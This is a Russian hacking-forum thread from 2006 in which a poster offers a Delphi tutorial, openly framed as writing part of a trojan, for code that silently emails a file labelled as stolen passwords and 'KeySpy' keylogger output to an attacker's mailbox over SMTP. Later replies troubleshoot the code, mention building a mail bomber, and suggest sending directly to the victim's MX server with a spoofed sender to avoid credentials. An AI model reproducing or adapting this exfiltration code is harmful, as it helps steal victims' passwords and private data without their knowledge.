Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Delphi для новичков, или бойтесь данайцев, дары приносящих. Часть 1. |

09.03.2006, 22:04
|
|
Познающий
Регистрация: 17.12.2005
Сообщений: 78
Провел на форуме: 464418
Репутация:
23
|
|
Delphi для новичков, или бойтесь данайцев, дары приносящих. Часть 1.
На Ачате стали появляться статьи по кодингу, и я, будучи программистом, тоже захотел внести свою лепту в развитие этого раздела. Нет, я не буду объяснять вам, как сделать программу погони за бешенной кнопкой, я думаю, что эта тема очень отдаленно связана с хакингом. Сегодня я хочу рассказать о написании трояна - вернее, части трояна. Впрочем, созданную тулзу вы сможете вполне использовать и в мирных целях. И так, давайте напишем нечто вроде почтового клиента. Я думаю, не стоит объяснять, что многие трояны высылают каким-либо образом найденную информацию на мыло своему создателю. Сначала зарегим мыло на mail'е. Этот ящик потребуется нам для отправки писем. Давайте приступим к написанию проги. Вынесем на форму компоненты IdSMTP и IdMessage (вкладки Indy Clients и Indy Misc). Создадим процедуру отправки письма. Назовем ее SendMail:
procedure SendMail;
var
LSMTP: TIdSMTP;
LMsg: TIdMessage;
x: TIdAttachment; //это - аттач письма
Мы объявили переменные, теперь создаемся:
begin //Ну начинаем 
LSMTP := TIdSMTP.Create(nil); //Создаемся
LMsg := TIdMessage.Create(LSMTP);
Отлично, пора приступать к написанию письма))
with LMsg do
begin
Subject := 'Пароли Ламерюги'; // Здесь вводим тему
Recipients.EMailAddresses := '11111111@yandex.ru' ; // куда будет послано письмо...я пишу жене и дочке, точка.
From.Text := '2222222@mail.ru'; //Зареганное мыло на мейле.
Body.Add('Текст письма');
x:=TIdAttachment.Create(LMsg.MessageParts,'Пут к файлу аттача'); //аттач письма
end;
with LSMTP do
begin
AuthenticationType:=atNone;
Host := 'smtp.mail.ru';
Port := 25;
Username :='2222222@mail.ru' ; //зареганное мыло на мейле
Password :='lol' ; //пароль к зареганному мылу на мейле
try
Connect; //зухель коннект!!
Send(LMsg);
except
end;
end;
FreeAndNil(LMsg);
FreeAndNil(LSMTP);
end;
Строчки
try
Connect;
Send(LMsg);
except
добавленны для того, чтобы, если нет соединения с нетом, не вылетала ошибка (Конструкция try ... exept).
Вот, собственно, и все. Вот полный листинг проги:
procedure SendMail;
var
LSMTP: TIdSMTP;
LMsg: TIdMessage;
x: TIdAttachment;
windir: array [0..255] of char;//Обьявлям переменные.
begin //Ну начинаем 
LSMTP := TIdSMTP.Create(nil); //Создаемся
LMsg := TIdMessage.Create(LSMTP);
with LMsg do
begin
Subject := 'Пароли Ламерюги'; // Здесь вводим тему
Recipients.EMailAddresses := '1111111@yandex.ru' ; // куда будет послано письмо
From.Text := '22222222@mail.ru'; //От кудыкина будет письмо
Body.Add('KeySpy');
x:=TIdAttachment.Create(LMsg.MessageParts,windir+' путь');
end;
with LSMTP do
begin
AuthenticationType:=atNone;
Host := 'smtp.mail.ru';
Port := 25;
Username :='22222222@mail.ru' ;
Password :='loxi' ;
try
Connect; //зухель коннект!!
Send(LMsg);
except
end;
end;
FreeAndNil(LMsg);
FreeAndNil(LSMTP);
end;
Просьба заценить статью.
|
|
|

09.03.2006, 23:19
|
|
Познающий
Регистрация: 20.01.2006
Сообщений: 84
Провел на форуме: 156615
Репутация:
5
|
|
Ну я все отшлифовал и скомпилировал, но на Send(msg) мне выдает socket error 10060. Это проблема с SMTP, когда я делал mail bomber на vb или C#, у меня тоже самое было, а когда я ставлю вместо mailовского SMTP свой локальный все посылает и доходит. Как у остальных все с этим делом нормально или таже хренотень?
|
|
|

10.03.2006, 00:02
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме: 1941233
Репутация:
2726
|
|
Для ОСОБО ЛЕНИВЫХ:
ОТКРЫВАЕМ WINERROR.H и ИШЕМ СТРОКУ "60"
НАХОДИМ
КРАСНЫМ НАПИСАНО: 10060 - ОШИБКА WINSOCKET - //
// MessageId: ERROR_BAD_REM_ADAP
//
// MessageText:
//
// The remote adapter is not compatible.
//
#define ERROR_BAD_REM_ADAP 60L
Последний раз редактировалось KEZ; 10.03.2006 в 00:59..
|
|
|

10.03.2006, 00:04
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме: 1941233
Репутация:
2726
|
|
А все это лучше делать не так, а получить АДРЕС mx-сервера локального юзера И СЛАТЬ через НЕГО без всяких smtp-серверов заданых юзером и паролей
|
|
|

10.03.2006, 10:11
|
|
Познающий
Регистрация: 20.01.2006
Сообщений: 84
Провел на форуме: 156615
Репутация:
5
|
|
Сообщение от KEZ
А все это лучше делать не так, а получить АДРЕС mx-сервера локального юзера И СЛАТЬ через НЕГО без всяких smtp-серверов заданых юзером и паролей
А неподскажешь как получить этот адрес и как именно через него слать?
|
|
|

10.03.2006, 11:13
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме: 1941233
Репутация:
2726
|
|
Как получить точно не подскажу. Но можно узнать у DNS сервера, прописаного в настройках.
Как - читай RFC о DNS. (нужна какую-то UDP датаграмму послать)
http://rfc.net/search.php3?phrase=DNS
Я немного поискал в поисковиках, пока безрезультатно, везде такиеже тупые советы (прям как у меня) - но конкретно никто ничего незнает ...
А слать само письмо очень просто
подключись, пошли MAIL FROM: свойадрес
RCPT TO: кому
DATA
тут текст
.
причем абсолютно всеравно, с какого емейла вы будете это слать, тоесть на поле MAIL FROM нет ограничений (кроме, наверное формата a@b), так будет всегда, т.к. если бы письма локального пользователя не принимались, не работала бы маршрутизация почты. мы просто делаем вид что мы сервер, через который было послано письмо. например с мыла a@a.com (через a.com) шлется письмо для a@b.com (сервер b.com)
сервер b.com подключаетс к mx-серверу a.com, т.к. это локальный сервер для юзера a@a.com, на который пошло письмо и без всякой авторизации и прочей ерунды передает ему письмо.
чато бывает что адрес mx-сервера mx0.server (например mx0.myserver.com)
Последний раз редактировалось KEZ; 10.03.2006 в 11:18..
|
|
|

10.03.2006, 12:15
|
|
Познающий
Регистрация: 20.01.2006
Сообщений: 84
Провел на форуме: 156615
Репутация:
5
|
|
Короче довольно долго лазил по поисковикам, но единственное что нашел какой то обрывок кода. Автор говорит что он получает mx по dns, но я так и не понял на каком языке он написан, кажись на с++, ну короче может кто объяснит что это такое:
use Net:  NS;
my @mx = mx($domain);
|
|
|

25.03.2006, 21:49
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме: 1941233
Репутация:
2726
|
|
use Net:NS;
my @mx = mx($domain);
использование Net:NS для получение мх на перле
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|